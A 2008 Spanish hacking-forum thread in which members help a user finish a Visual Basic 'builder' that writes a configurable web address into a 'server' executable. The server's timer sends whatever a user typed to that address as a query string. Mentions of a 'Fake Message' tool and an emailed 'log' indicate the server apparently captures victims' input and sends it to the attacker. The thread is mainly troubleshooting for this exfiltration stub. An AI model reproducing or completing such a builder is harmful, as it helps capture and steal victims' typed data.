Bueno esto ya lo pedi antes en el Fake MesSage pero no entendi muy bien a SetH ahora por ejempl lo que hice fue crear el servidor a .exe luego lo pase a RES desde el VB y agregue el REs al Builder. Al darle a Crear server puse esto :
Dim File() As Byte
File = LoadResData(101, "CUSTOM")
Open "Server.exe" For Binary As #1
Put #1, , File
Close #1
En el Servidor de antes que lo que quiero cambiar seria esto :
WB.Navigate (RutaWeb & "?value=" & Text1.Text)
Modificar el RutaWeb por un txt del builder..
Haber si me explique
Saludos y gracias de ante mano!
Nadie me hecha una manoO? :huh:
Saludos!..
Creo que seria mejor utilizar el modulo de COBEIN.
Generic Server Editor Class (http://foro.elhacker.net/programacion_vb/generic_sever_editor_class_src-t228494.0.html)
Si necesitas ayuda postea :)
Bueno no se como ponerlo.. puse el modulo que me pasastes Moja =D
y psue dos opciones :
Dim File() As Byte
File = LoadResData(101, "CUSTOM")
Open "Server.exe" For Binary As #1
c.WriteProp "RutaWeb", Text1.Text
Set c = New cEditSvr
Debug.Print c.ReadProp("RutaWeb")
Close #1
y la otra :
c.ExeFile "Server.exe"
c.WriteProp "RutaWeb", Text1.Text
Set c = New cEditSvr
c.ExeFile "Server.exe"
Debug.Print c.ReadProp("RutaWeb")
Aunque aui necesitaria que este el Server.exe al lado.. y me gustaria que se genere desde el Builder
Saludos y gracias por conetstas!
Cita de: Sharki en 12 Octubre 2008, 20:47 PM
Bueno no se como ponerlo.. puse el modulo que me pasastes Moja =D
y psue dos opciones :
Dim File() As Byte
File = LoadResData(101, "CUSTOM")
Open "Server.exe" For Binary As #1
c.WriteProp "RutaWeb", Text1.Text
Set c = New cEditSvr
Debug.Print c.ReadProp("RutaWeb")
Close #1
y la otra :
c.ExeFile "Server.exe"
c.WriteProp "RutaWeb", Text1.Text
Set c = New cEditSvr
c.ExeFile "Server.exe"
Debug.Print c.ReadProp("RutaWeb")
Aunque aui necesitaria que este el Server.exe al lado.. y me gustaria que se genere desde el Builder
Saludos y gracias por conetstas!
Mira olvidate de todo.
El modulo que te pase ponlo en un modulo de clase que tiene que ser llamado cEditSvr
Ahora en donde creas el builder, es decir cuando apretas a un botton para escribir en el server pon:
Dim c As New cEditSvr
c.ExeFile "ruta del servidor"
c.WriteProp "RutaWeb", Text1.text
c.WriteData "ruta del servidor"Lo de arriba en el "Cliente"
y ahora añade el modulo de clase en el servidor mismo nombre y pon esto en la propiedad load del formulario
Dim c As New cEditSvr
c.ExeFile app.path & "\" & app.exename & ".exe"
Debug.Print c.ReadProp("RutaWeb")Deberia ir
Este es un post donde ErMoja tenía un problema con el módulo de clase de cobein, y aparece como utilizarlo:
http://foro.elhacker.net/programacion_vb/problema_con_el_codigo_de_cobein-t230535.0.html (http://foro.elhacker.net/programacion_vb/problema_con_el_codigo_de_cobein-t230535.0.html)
Saludos.
Cita de: ErMoja en 12 Octubre 2008, 21:12 PM
Cita de: Sharki en 12 Octubre 2008, 20:47 PM
Bueno no se como ponerlo.. puse el modulo que me pasastes Moja =D
y psue dos opciones :
Dim File() As Byte
File = LoadResData(101, "CUSTOM")
Open "Server.exe" For Binary As #1
c.WriteProp "RutaWeb", Text1.Text
Set c = New cEditSvr
Debug.Print c.ReadProp("RutaWeb")
Close #1
y la otra :
c.ExeFile "Server.exe"
c.WriteProp "RutaWeb", Text1.Text
Set c = New cEditSvr
c.ExeFile "Server.exe"
Debug.Print c.ReadProp("RutaWeb")
Aunque aui necesitaria que este el Server.exe al lado.. y me gustaria que se genere desde el Builder
Saludos y gracias por conetstas!
Mira olvidate de todo.
El modulo que te pase ponlo en un modulo de clase que tiene que ser llamado cEditSvr
Ahora en donde creas el builder, es decir cuando apretas a un botton para escribir en el server pon:
Dim c As New cEditSvr
c.ExeFile "ruta del servidor"
c.WriteProp "RutaWeb", Text1.text
c.WriteData "ruta del servidor"
Lo de arriba en el "Cliente"
y ahora añade el modulo de clase en el servidor mismo nombre y pon esto en la propiedad load del formulario
Dim c As New cEditSvr
c.ExeFile app.path & "\" & app.exename & ".exe"
Debug.Print c.ReadProp("RutaWeb")
Deberia ir
Se te agradece mucho ErMoja vy a probar!
Saludos!
Editado : Se agrega al final del archivo pero no se sustituye y n ome llega el log al emaIl :S
Saludos
Recuerda que el servido tiene que esta compilado ya en .EXE
o si nos no puede mostrar los datos... :)
Cita de: ErMoja en 13 Octubre 2008, 16:06 PM
Recuerda que el servido tiene que esta compilado ya en .EXE
o si nos no puede mostrar los datos... :)
Sisi lo he probado conmigo mismo pero nada..
Saludos!
Pon el código que tú tienes hecho, sino no podremos buscar donde está el error.
Saludos!
Cita de: Spider-Net en 13 Octubre 2008, 16:27 PM
Pon el código que tú tienes hecho, sino no podremos buscar donde está el error.
Saludos!
Cliente + Modulo cEditSvr :
Private Sub Command1_Click()
Dim c As New cEditSvr
c.ExeFile "Server.exe"
c.WriteProp "RutaWeb", Text1.Text
c.WriteData "Server.exe"
End Sub
Servidor + Modulo cEditSvr :
Form:
Dim c As New cEditSvr
c.ExeFile App.Path & "\" & App.EXEName & ".exe"
Debug.Print c.ReadProp("RutaWeb")
y mas cosas..Timer :
WB.Navigate (RutaWeb & "?value=" & Text1.Text)
Saludos!
Editado : y si peuden despues de arreglar el error ayudarme como lo pondria para que se genere desde el res. osea con el server dentro del builder.. yo lo puse antes pero quiero ponerlo para k se modifike como ahora y eso..
Lo único que se me ocurre que puede dar error es la ruta del server y ese Debug.Print que no hace nada:
Cliente + Modulo cEditSvr :
Private Sub Command1_Click()
Dim c As New cEditSvr
c.ExeFile App.Path & "\Server.exe"
c.WriteProp "RutaWeb", Text1.Text
c.WriteData App.Path & "\Server.exe"
End Sub
Servidor + Modulo cEditSvr :
Form:
Dim RutaWeb as string
Dim c As New cEditSvr
c.ExeFile App.Path & "\" & App.EXEName & ".exe"
RutaWeb = c.ReadProp("RutaWeb")
Timer :
WB.Navigate (RutaWeb & "?value=" & Text1.Text)
Debug.Print sólo muestra el valor en la ventana de debug, no asigna el valor a ninguna variable.
Estás seguro que el archivo Server.exe existe? y que se encuentra en la misma carpeta que el cliente?
El modulo es un modulo de clase ehh